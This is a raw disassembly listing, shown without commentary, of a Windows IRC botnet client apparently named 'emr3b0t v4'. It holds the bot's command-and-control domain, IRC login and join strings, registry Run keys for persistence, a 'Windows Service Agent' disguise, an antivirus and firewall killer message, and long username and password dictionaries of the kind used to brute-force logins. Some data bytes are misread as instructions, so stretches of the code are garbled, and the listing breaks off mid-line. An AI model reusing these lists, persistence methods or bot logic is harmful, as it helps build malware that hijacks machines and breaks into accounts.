_2:00454D6Co aJan db 'Jan',0 ; DATA XREF: _2:00454D68o aSaturday db 'Saturday',0 ; DATA XREF: _2:00454D64o align 4 aFriday db 'Friday',0 ; DATA XREF: _2:00454D60o align 10h aThursday db 'Thursday',0 ; DATA XREF: _2:00454D5Co align 4 aWednesday db 'Wednesday',0 ; DATA XREF: _2:00454D58o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: _2:00454D54o aMonday db 'Monday',0 ; DATA XREF: _2:00454D50o align 4 aSunday db 'Sunday',0 ; DATA XREF: _2:00454D4Co align 10h aSat db 'Sat',0 ; DATA XREF: _2:00454D48o aFri db 'Fri',0 ; DATA XREF: _2:00454D44o aThu db 'Thu',0 ; DATA XREF: _2:00454D40o aWed db 'Wed',0 ; DATA XREF: _2:00454D3Co aTue db 'Tue',0 ; DATA XREF: _2:00454D38o aMon db 'Mon',0 ; DATA XREF: _2:00454D34o aSun db 'Sun',0 ; DATA XREF: _2:off_454D30o aAP db 'a/p',0 ; DATA XREF: sub_4384E0:loc_4386D3o aAmPm db 'am/pm',0 ; DATA XREF: sub_4384E0:loc_4386B3o align 4 aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_438A00+9Co ; sub_438A00+F1o align 8 dword_43E048 dd 0FFFFFFFFh, 438DC7h, 438DCDh, 0FFFFFFFFh, 438E46h, 438E4Ch ; DATA XREF: sub_438CA0+5o dword_43E060 dd 6D6F7477h, 766E6562h, 632Eh, 0 ; DATA XREF: sub_4396D0+44o dword_43E070 dd 0FFFFFFFFh, 43987Dh, 439883h, 0 ; DATA XREF: sub_439780+5o dword_43E080 dd 0FFFFFFFFh, 439A1Fh, 439A25h ; DATA XREF: sub_439920+5o dword_43E08C dd 6D635F61h, 632E70h ; DATA XREF: sub_439AD0+17Fo aCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0 ; DATA XREF: sub_439AD0:loc_439C43o align 8 dword_43E0D8 dd 0FFFFFFFFh, 439DAFh, 439DB5h, 0FFFFFFFFh, 439E4Dh, 439E53h ; DATA XREF: sub_439AD0+5o dword_43E0F0 dd 65746573h, 632E766Eh, 0 ; DATA XREF: sub_439F20+B2o ; sub_439F20+F2o ... aStringTooLong db 'string too long',0 ; DATA XREF: sub_43A460+1Fo dd offset dword_43E208 off_43E110 dd offset sub_43A5E0 ; DATA XREF: sub_43A4C0+44o ; sub_43A580+1Fo ... dd offset sub_43A530 dd offset sub_43A550 dd offset dword_43E258 off_43E120 dd offset sub_43A700 ; DATA XREF: sub_43A610+16o ; sub_43A6B0+Ao ... dd offset sub_43A530 dd offset sub_43A6D0 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_43A760+1Fo dd offset dword_43E2A8 off_43E148 dd offset sub_43A840 ; DATA XREF: sub_43A7C0+16o ; sub_43A7F0+Ao ... dd offset sub_43A530 dd offset sub_43A810 dd 0FFFFFFFFh, 43E2D8h off_43E15C dd offset sub_43AF20 ; DATA XREF: _0:0043AEFAo ; sub_43AF50+Co ... dd offset sub_43B0C0 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_43B0C0:loc_43B0D8o align 4 dd offset dword_43E320 off_43E17C dd offset sub_43B130 ; DATA XREF: sub_43B0F0+Ao ; _0:0043B21Ao ... dword_43E180 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_43B240+Do dd 3, 19930520h, 2 dup(0) dword_43E1A0 dd 0FFFFFFFFh, 43B55Fh, 43B565h, 0FFFFFFFFh, 43B604h, 43B60Ah ; DATA XREF: sub_43B420+5o dd 4550E0h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_43E1D0 dd offset off_4550F8 ; DATA XREF: _1:0043E1E8o _1:0043E23Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E1D0 dd offset dword_43E1A0+18h dword_43E1F0 dd 4 dup(0) ; DATA XREF: _1:0043E218o dd 2, 43E1E8h dword_43E208 dd 3 dup(0) ; DATA XREF: _1:0043E10Co dd offset off_4550F8 dd offset dword_43E1F0+8 align 10h off_43E220 dd offset off_455118 ; DATA XREF: _1:0043E238o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E220 dd offset off_43E1D0 dd offset dword_43E1A0+18h dd 0 db 0 ; DATA XREF: _1:0043E268o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 43E238h dword_43E258 dd 3 dup(0) ; DATA XREF: _1:0043E11Co dd offset off_455118 dd offset unk_43E248 align 10h off_43E270 dd offset off_455138 ; DATA XREF: _1:0043E288o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E270 dd offset off_43E1D0 dd offset dword_43E1A0+18h dd 0 db 0 ; DATA XREF: _1:0043E2B8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 43E288h dword_43E2A8 dd 3 dup(0) ; DATA XREF: _1:0043E144o dd offset off_455138 dd offset unk_43E298 dd offset dword_43E1A0+18h dword_43E2C0 dd 4 dup(0) ; DATA XREF: _1:0043E2E8o dd 1, 43E2BCh, 3 dup(0) dd offset off_4550E0 dd offset dword_43E2C0+8 align 10h off_43E2F0 dd offset off_455158 ; DATA XREF: _1:0043E308o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E2F0 dword_43E30C dd 3 dup(0) ; DATA XREF: _1:0043E330o dd 1, 43E308h dword_43E320 dd 3 dup(0) ; DATA XREF: _1:0043E178o dd offset off_455158 dd offset dword_43E30C+4 align 8 dd 0FFFFFFFFh, 43B818h, 0 dd offset loc_43B810 dword_43E348 dd 19930520h, 2, 43E338h, 4 dup(0) ; DATA XREF: _0:loc_43B82Fo dd 0FFFFFFFFh, 43B839h, 0 dd offset loc_43B841 dword_43E374 dd 19930520h, 2, 43E364h, 4 dup(0) ; DATA XREF: _0:loc_43B849o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_40E096 dd 2 dup(0) dd 2 dup(1), 43E3A0h dword_43E3C4 dd 19930520h, 2, 43E390h, 1, 43E3B0h, 3 dup(0) ; DATA XREF: _0:loc_43B854o dd offset off_4550E0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 43AFC0h, 2 dup(0) dd offset off_4550F8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 43A4C0h, 2 dup(0) dd offset off_455118 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 43A730h, 0 dword_43E440 dd 3, 43E420h, 43E400h, 43E3E0h ; DATA XREF: _1:0043E45Co dword_43E450 dd 0 ; DATA XREF: sub_43A460+3Fo ; sub_43A6D0+15o dd offset sub_43A6B0 dd 0 dd offset dword_43E440 dword_43E460 dd 19930520h, 1, 43E480h, 5 dup(0) ; DATA XREF: SEH_43A460o dd 0FFFFFFFFh, 43B860h dword_43E488 dd 19930520h, 1, 43E4A8h, 5 dup(0) ; DATA XREF: SEH_43A4C0o dword_43E4A8 dd 0FFFFFFFFh, 43B880h, 2, 43E400h, 43E3E0h, 0 ; DATA XREF: _1:0043E4CCo dword_43E4C0 dd 0 ; DATA XREF: sub_43A550+15o dd offset sub_43A580 dd 0 dd offset dword_43E4A8+8 dword_43E4D0 dd 19930520h, 1, 43E4F0h, 5 dup(0) ; DATA XREF: SEH_43A580o dd 0FFFFFFFFh, 43B8A0h dword_43E4F8 dd 19930520h, 1, 43E518h, 5 dup(0) ; DATA XREF: SEH_43A640o dd 0FFFFFFFFh, 43B8C0h, 0 dd offset off_455138 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 43A870h, 0 dword_43E540 dd 3, 43E520h, 43E400h, 43E3E0h ; DATA XREF: _1:0043E55Co dword_43E550 dd 0 ; DATA XREF: sub_43A760+3Fo ; sub_43A810+15o dd offset sub_43A7F0 dd 0 dd offset dword_43E540 dword_43E560 dd 19930520h, 1, 43E580h, 5 dup(0) ; DATA XREF: SEH_43A760o dd 0FFFFFFFFh, 43B8E0h _1 ends ; Section 3. (virtual address 0003F000) ; Virtual size : 000B5A3D ( 743997.) ; Section size in file : 000B5A3D ( 743997.) ; Offset to raw data for section: 0003F000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _2 segment para public 'CODE' use32 assume cs:_2 ;org 43F000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dword_43F000 dd 0 ; DATA XREF: sub_41E860+29o dd offset loc_4013E8 dd offset loc_40DBC6 dd offset sub_40E19A dd offset sub_40F033 dd offset sub_43A8A0 dword_43F018 dd 0 ; DATA XREF: sub_41E860+24o dword_43F01C dd 0 ; DATA XREF: sub_41E860+17o dd offset sub_420D30 dd offset sub_4222D0 dd offset sub_429890 dd offset sub_432F40 dword_43F030 dd 0 ; DATA XREF: sub_41E860:loc_41E872o dword_43F034 dd 0 ; DATA XREF: sub_41E920+76o dd offset sub_422400 dword_43F03C dd 0 ; DATA XREF: sub_41E920:loc_41E991o dword_43F040 dd 0 ; DATA XREF: sub_41E920+88o dd offset sub_432F60 dword_43F048 dd 2 dup(0) ; DATA XREF: sub_41E920:loc_41E9A3o dword_43F050 dd 80000002h ; DATA XREF: sub_401000+24r off_43F054 dd offset byte_43F1EC ; DATA XREF: sub_401000+1Er dd 80000002h, 43F21Ch, 80000001h, 43F1ECh dword_43F068 dd 6272h, 0 ; DATA XREF: sub_4010AA+Bo dword_43F070 dd 1F90h ; DATA XREF: sub_401404+48Fr ; sub_401404+517r dword_43F074 dd 1F91h ; DATA XREF: sub_401404+55Dr dword_43F078 dd 7E4h ; DATA XREF: sub_401C87:loc_4047CEr dword_43F07C dd 45h ; DATA XREF: sub_401C87+2030r ; sub_40C049+3Br dword_43F080 dd 7D1h ; DATA XREF: sub_401C87:loc_403DA1r ; sub_40C049:loc_40C431r dword_43F084 dd 201h ; DATA XREF: sub_401C87:loc_403F16r word_43F088 dw 7C7h ; DATA XREF: sub_401C87:loc_4048F0r align 4 dword_43F08C dd 1 ; DATA XREF: sub_401C87+62Ar dword_43F090 dd 1 ; DATA XREF: sub_401404+13Ar dword_43F094 dd 1 ; DATA XREF: sub_401404:loc_401733r ; sub_418EAE+Cr byte_43F098 db 2Eh ; DATA XREF: sub_401C87+A51r ; sub_401C87+B0Br ... align 4 dword_43F09C dd 5 ; DATA XREF: sub_40AFAB+39r ; sub_40AFAB+5Fr ... dword_43F0A0 dd 4 ; DATA XREF: sub_4019A5+78r ; sub_401C87+277r ... dword_43F0A4 dd 1 ; DATA XREF: sub_4019A5+72r ; sub_401C87+271r aTarab db 'Tarab',0 ; DATA XREF: sub_401404+5Do ; sub_401C87:loc_404628o ... align 10h aEmr3b0tV4 db 'emr3b0t v4',0 ; DATA XREF: sub_401C87:loc_404AF5o align 4 a3zef db '3zef',0 ; DATA XREF: sub_401C87+7E34o ; sub_401C87+7EF7o align 4 aSakenQlbe_net db 'saken-qlbe.net',0 ; DATA XREF: sub_401404+47Bo ; sub_401404+508o align 4 a0 db '#0#',0 ; DATA XREF: sub_401404+49Bo ; sub_401404+51Eo ... a7lome db '7lome',0 ; DATA XREF: sub_401404+4B2o ; sub_401404+530o align 10h byte_43F0E0 db 73h ; DATA XREF: sub_401404:loc_401944r ; sub_401404+54Eo db 61h, 6Bh, 65h dd 6C712D6Eh, 6E2E6562h, 7465h dword_43F0F0 dd 233023h ; DATA XREF: sub_401404+564o a7lome_0 db '7lome',0 ; DATA XREF: sub_401404+576o align 4 byte_43F0FC db 79h ; DATA XREF: sub_401404+140o ; sub_401404+164w ... db 2 dup(67h), 76h dd 6578652Eh, 0 dword_43F108 dd 696E6977h, 622E746Eh, 7461h ; DATA XREF: sub_4124E6+3Do aWindowsService db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Bo asc_43F12A db '-',0 ; DATA XREF: _0:0040B029o aWintys_dat db 'wintys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401C87+7F70o align 10h a2 db '#2',0 ; DATA XREF: sub_401C87+1CF2o ; sub_401C87+3053o ... align 4 a2_0 db '#2',0 ; DATA XREF: sub_401C87+4477o align 4 a2_1 db '#2',0 ; DATA XREF: sub_401C87+40A3o ; sub_401C87+41F1o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: _2:off_43F158o off_43F158 dd offset a@admin_com ; DATA XREF: sub_401C87+7E97r ; "*@admin.com" aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: _2:off_43F1DCo align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: _2:0043F1E0o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: _2:0043F1E4o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: _2:0043F1E8o align 4 off_43F1DC dd offset aMircV6_16Khale ; DATA XREF: sub_401C87+874r ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" byte_43F1EC db 53h ; DATA XREF: _2:off_43F054o aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41AB05+28o ; sub_41AE2B+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41AB05+D4o ; sub_41AE2B+D4o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: _2:0043F350o align 4 aAdministrador db 'administrador',0 ; DATA XREF: _2:0043F354o align 4 aAdministrateur db 'administrateur',0 ; DATA XREF: _2:0043F358o align 4 aAdministrat db 'administrat',0 ; DATA XREF: _2:0043F35Co aAdmins db 'admins',0 ; DATA XREF: _2:0043F360o align 4 aAdmin db 'admin',0 ; DATA XREF: _2:0043F364o align 10h aStaff db 'staff',0 ; DATA XREF: _2:0043F368o align 4 aRoot db 'root',0 ; DATA XREF: _2:0043F36Co align 10h aComputer db 'computer',0 ; DATA XREF: _2:0043F370o align 4 aOwner db 'owner',0 ; DATA XREF: _2:0043F374o align 4 aStudent db 'student',0 ; DATA XREF: _2:0043F378o aTeacher db 'teacher',0 ; DATA XREF: _2:0043F37Co aWwwadmin db 'wwwadmin',0 ; DATA XREF: _2:0043F380o align 10h aGuest_0 db 'guest',0 ; DATA XREF: _2:0043F384o align 4 aDefault db 'default',0 ; DATA XREF: _2:0043F388o aDatabase db 'database',0 ; DATA XREF: _2:0043F38Co align 4 aDba db 'dba',0 ; DATA XREF: _2:0043F390o aOracle db 'oracle',0 ; DATA XREF: _2:0043F394o align 4 aDb2 db 'db2',0 ; DATA XREF: _2:0043F398o align 10h dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 10h aAdministrato_1 db 'administrator',0 ; DATA XREF: _2:0043F814o align 10h aAdministrado_0 db 'administrador',0 ; DATA XREF: _2:0043F818o align 10h aAdministrate_0 db 'administrateur',0 ; DATA XREF: _2:0043F81Co align 10h aAdministrat_0 db 'administrat',0 ; DATA XREF: _2:0043F820o aAdmins_0 db 'admins',0 ; DATA XREF: _2:0043F824o align 4 aAdmin_0 db 'admin',0 ; DATA XREF: _2:0043F828o align 4 aAdm db 'adm',0 ; DATA XREF: _2:0043F82Co aPassword1 db 'password1',0 ; DATA XREF: _2:0043F830o align 4 aPassword db 'password',0 ; DATA XREF: _2:0043F834o align 4 aPasswd db 'passwd',0 ; DATA XREF: _2:0043F838o align 10h aPass1234 db 'pass1234',0 ; DATA XREF: _2:0043F83Co align 4 aPass_1 db 'pass',0 ; DATA XREF: _2:0043F840o align 4 aPwd db 'pwd',0 ; DATA XREF: _2:0043F844o a007 db '007',0 ; DATA XREF: _2:0043F848o a1: ; DATA XREF: _2:0043F84Co unicode 0, <1>,0 a12 db '12',0 ; DATA XREF: _2:0043F850o align 4 a123 db '123',0 ; DATA XREF: _2:0043F854o a1234 db '1234',0 ; DATA XREF: _2:0043F858o align 10h a12345 db '12345',0 ; DATA XREF: _2:0043F85Co align 4 a123456 db '123456',0 ; DATA XREF: _2:0043F860o align 10h a1234567 db '1234567',0 ; DATA XREF: _2:0043F864o a12345678 db '12345678',0 ; DATA XREF: _2:0043F868o align 4 a123456789 db '123456789',0 ; DATA XREF: _2:0043F86Co align 10h a1234567890 db '1234567890',0 ; DATA XREF: _2:0043F870o align 4 a2000 db '2000',0 ; DATA XREF: _2:0043F874o align 4 a2001 db '2001',0 ; DATA XREF: _2:0043F878o align 4 a2002 db '2002',0 ; DATA XREF: _2:0043F87Co align 4 a2003_0 db '2003',0 ; DATA XREF: _2:0043F880o align 4 a2004 db '2004',0 ; DATA XREF: _2:0043F884o align 4 aTest db 'test',0 ; DATA XREF: _2:0043F888o align 4 aGuest_1 db 'guest',0 ; DATA XREF: _2:0043F88Co align 4 aNone db 'none',0 ; DATA XREF: _2:0043F890o align 4 aDemo db 'demo',0 ; DATA XREF: _2:0043F894o align 4 aUnix db 'unix',0 ; DATA XREF: _2:0043F898o align 4 aLinux db 'linux',0 ; DATA XREF: _2:0043F89Co align 4 aChangeme db 'changeme',0 ; DATA XREF: _2:0043F8A0o align 10h aDefault_0 db 'default',0 ; DATA XREF: _2:0043F8A4o aSystem db 'system',0 ; DATA XREF: _2:0043F8A8o align 10h aServer_6 db 'server',0 ; DATA XREF: _2:0043F8ACo align 4 aRoot_0 db 'root',0 ; DATA XREF: _2:0043F8B0o align 10h aNull_1 db 'null',0 ; DATA XREF: _2:0043F8B4o align 4 aQwerty db 'qwerty',0 ; DATA XREF: _2:0043F8B8o align 10h aMail db 'mail',0 ; DATA XREF: _2:0043F8BCo align 4 aOutlook db 'outlook',0 ; DATA XREF: _2:0043F8C0o aWeb db 'web',0 ; DATA XREF: _2:0043F8C4o aWww db 'www',0 ; DATA XREF: _2:0043F8C8o aInternet db 'internet',0 ; DATA XREF: _2:0043F8CCo align 4 aAccounts db 'accounts',0 ; DATA XREF: _2:0043F8D0o align 10h aAccounting db 'accounting',0 ; DATA XREF: _2:0043F8D4o align 4 aHome db 'home',0 ; DATA XREF: _2:0043F8D8o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: _2:0043F8DCo align 10h aUser_4 db 'user',0 ; DATA XREF: _2:0043F8E0o align 4 aOem db 'oem',0 ; DATA XREF: _2:0043F8E4o aOemuser db 'oemuser',0 ; DATA XREF: _2:0043F8E8o aOeminstall db 'oeminstall',0 ; DATA XREF: _2:0043F8ECo align 10h aWindows db 'windows',0 ; DATA XREF: _2:0043F8F0o aWin98 db 'win98',0 ; DATA XREF: _2:0043F8F4o align 10h aWin2k db 'win2k',0 ; DATA XREF: _2:0043F8F8o align 4 aWinxp db 'winxp',0 ; DATA XREF: _2:0043F8FCo align 10h aWinnt db 'winnt',0 ; DATA XREF: _2:0043F900o align 4 aWin2000 db 'win2000',0 ; DATA XREF: _2:0043F904o aQaz db 'qaz',0 ; DATA XREF: _2:0043F908o aAsd db 'asd',0 ; DATA XREF: _2:0043F90Co aZxc db 'zxc',0 ; DATA XREF: _2:0043F910o aQwe db 'qwe',0 ; DATA XREF: _2:0043F914o aBob db 'bob',0 ; DATA XREF: _2:0043F918o aJen db 'jen',0 ; DATA XREF: _2:0043F91Co aJoe db 'joe',0 ; DATA XREF: _2:0043F920o aFred db 'fred',0 ; DATA XREF: _2:0043F924o align 4 aBill db 'bill',0 ; DATA XREF: _2:0043F928o align 4 aMike db 'mike',0 ; DATA XREF: _2:0043F92Co align 4 aJohn db 'john',0 ; DATA XREF: _2:0043F930o align 4 aPeter db 'peter',0 ; DATA XREF: _2:0043F934o align 4 aLuke db 'luke',0 ; DATA XREF: _2:0043F938o align 4 aSam db 'sam',0 ; DATA XREF: _2:0043F93Co aSue db 'sue',0 ; DATA XREF: _2:0043F940o aSusan db 'susan',0 ; DATA XREF: _2:0043F944o align 4 aPeter_0 db 'peter',0 align 4 aBrian db 'brian',0 align 4 aLee db 'lee',0 aNeil db 'neil',0 align 4 aIan db 'ian',0 aChris db 'chris',0 align 4 aEric db 'eric',0 align 4 aGeorge db 'george',0 align 4 aKate db 'kate',0 align 4 aBob_0 db 'bob',0 aKatie db 'katie',0 align 4 aMary db 'mary',0 align 10h aLogin_0 db 'login',0 align 4 aLoginpass db 'loginpass',0 align 4 aTechnical db 'technical',0 align 10h aBackup db 'backup',0 align 4 aExchange db 'exchange',0 align 4 aFuck db 'fuck',0 align 4 aBitch db 'bitch',0 align 4 aSlut db 'slut',0 align 4 aSex db 'sex',0 aGod db 'god',0 aHell db 'hell',0 align 4 aHello db 'hello',0 align 4 aDomain db 'domain',0 align 4 aDomainpass db 'domainpass',0 align 4 aDomainpassword db 'domainpassword',0 align 4 aDatabase_0 db 'database',0 align 4 aAccess db 'access',0 align 4 aDbpass db 'dbpass',0 align 4 aDbpassword db 'dbpassword',0 align 10h aDatabasepass db 'databasepass',0 ; DATA XREF: _2:0043F9C1o align 10h aData db 'data',0 align 4 aDatabasepasswo db 'databasepassword',0 align 4 aDb1 db 'db1',0 ; DATA XREF: _2:0043F9CDo aDb2_0 db 'db2',0 aDb1234 db 'db1234',0 ; DATA XREF: _2:0043F9D5o align 4 aSa_0 db 'sa',0 align 10h aSql db 'sql',0 ; DATA XREF: _2:0043F9DDo aSqlpassoainsta db 'sqlpassoainstall',0 align 4 aOrainstall db 'orainstall',0 ; DATA XREF: _2:loc_43F9E5o align 4 aOracle_0 db 'oracle',0 align 4 aIbm db 'ibm',0 aCisco db 'cisco',0 align 4 aDell db 'dell',0 align 10h aCompaq db 'compaq',0 ; DATA XREF: _2:0043F9F9o align 4 aSiemens db 'siemens',0 aHp db 'hp',0 ; DATA XREF: _2:0043FA01o align 4 aNokia db 'nokia',0 align 4 aXp db 'xp',0 ; DATA XREF: _2:0043FA09o align 10h aControl db 'control',0 aOffice db 'office',0 align 10h aBlank db 'blank',0 align 4 aWinpass db 'winpass',0 ; DATA XREF: _2:0043FA19o aMain db 'main',0 align 4 aLan db 'lan',0 aInternet_0 db 'internet',0 ; DATA XREF: _2:0043FA25o align 4 aIntranet db 'intranet',0 ; DATA XREF: _2:0043FA2Co align 4 aStudent_0 db 'student',0 ; DATA XREF: _2:0043FA30o aTeacher_0 db 'teacher',0 ; DATA XREF: _2:0043FA34o aStaff_0 db 'staff',0 ; DATA XREF: _2:0043FA38o align 10h dd offset byte_4E2E6D dd offset aAdministrato_1 ; "administrator" dd offset aAdministrado_0 ; "administrador" dd offset aAdministrate_0 ; "administrateur" dd offset aAdministrat_0 ; "administrat" dd offset aAdmins_0 ; "admins" dd offset aAdmin_0 ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_1 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003_0 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_1 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault_0 ; "default" dd offset aSystem ; "system" dd offset aServer_6 ; "server" dd offset aRoot_0 ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_4 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" ; --------------------------------------------------------------------------- or al, 0F6h inc ebx add [esi+esi*8], dl inc ebx add [esi+esi*8], bl inc ebx add [eax], ah test byte ptr [ebx+0], 28h test byte ptr [ebx+0], 2Ch test byte ptr [ebx+0], 34h test byte ptr [ebx+0], 3Ch test byte ptr [ebx+0], 44h test byte ptr [ebx+0], 4Ch test byte ptr [ebx+0], 50h test byte ptr [ebx+0], 58h test byte ptr [ebx+0], 60h test byte ptr [ebx+0], 68h test byte ptr [ebx+0], 74h test byte ptr [ebx+0], 80h test byte ptr [ebx+0], 88h test byte ptr [ebx+0], 94h test byte ptr [ebx+0], 9Ch test byte ptr [ebx+0], 0A4h test byte ptr [ebx+0], 0ACh test byte ptr [ebx+0], 0B0h test byte ptr [ebx+0], 0B4h test byte ptr [ebx+0], 0BCh test byte ptr [ebx+0], 0C4h test byte ptr [ebx+0], 0CCh test byte ptr [ebx+0], 0D8h test byte ptr [ebx+0], 0E8h test byte ptr [ebx+0], 0F4h test byte ptr [ebx+0], 0FCh test byte ptr [ebx+0], 4 test dword ptr [ebx+0], offset aDatabasepass ; "databasepass" and bh, dh inc ebx add [eax], ch test dword ptr [ebx+0], offset aDb1 ; "db1" inc eax test dword ptr [ebx+0], offset aDb1234 ; "db1234" dec esp test dword ptr [ebx+0], offset aSql ; "sql" push esp loc_43F9E5: ; CODE XREF: _2:0043F9ECj test dword ptr [ebx+0], offset aOrainstall ; "orainstall" jz short loc_43F9E5 inc ebx add [edi+esi*8+43h], bh add [eax-77FFBC09h], al test dword ptr [ebx+0], offset aCompaq ; "compaq" cwde test dword ptr [ebx+0], offset aHp ; "hp" movsb test dword ptr [ebx+0], offset aXp ; "xp" mov al, 0F7h inc ebx add [eax-3FFFBC09h], bh test dword ptr [ebx+0], offset aWinpass ; "winpass" sal bh, 1 inc ebx add al, bl test dword ptr [ebx+0], offset aInternet_0 ; "internet" ; --------------------------------------------------------------------------- dd offset aIntranet ; "intranet" dd offset aStudent_0 ; "student" dd offset aTeacher_0 ; "teacher" dd offset aStaff_0 ; "staff" align 10h dword_43FA40 dd 10h ; DATA XREF: sub_401C87+ABBr ; sub_401C87+AE7r ... dword_43FA44 dd 73257325h, 0 ; DATA XREF: sub_401404+10Ao dword_43FA4C dd 255C7325h, 73h ; DATA XREF: sub_401404+186o dword_43FA54 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401404+27Do dword_43FA60 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: sub_401404+352o dd 2E646574h, 0 unk_43FA7C db 2Dh ; - ; DATA XREF: sub_401404+38Do db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 10h unk_43FAA0 db 2Dh ; - ; DATA XREF: sub_401404+3DEo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h dword_43FAE0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401404+40Bo aServerRunningO db '- Server running on Port: 113.',0 align 4 dword_43FB0C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401404+456o aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 10h unk_43FB40 db 2Dh ; - ; DATA XREF: sub_4019A5+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401B0B+35o align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401B0B+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 asc_43FB88 db ' :',0 ; DATA XREF: sub_401C87+86o align 4 asc_43FB8C: ; DATA XREF: sub_401C87+AEo unicode 0, < !>,0 aPing db 'PING',0 ; DATA XREF: sub_401C87+19Do align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1B7o align 4 aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA 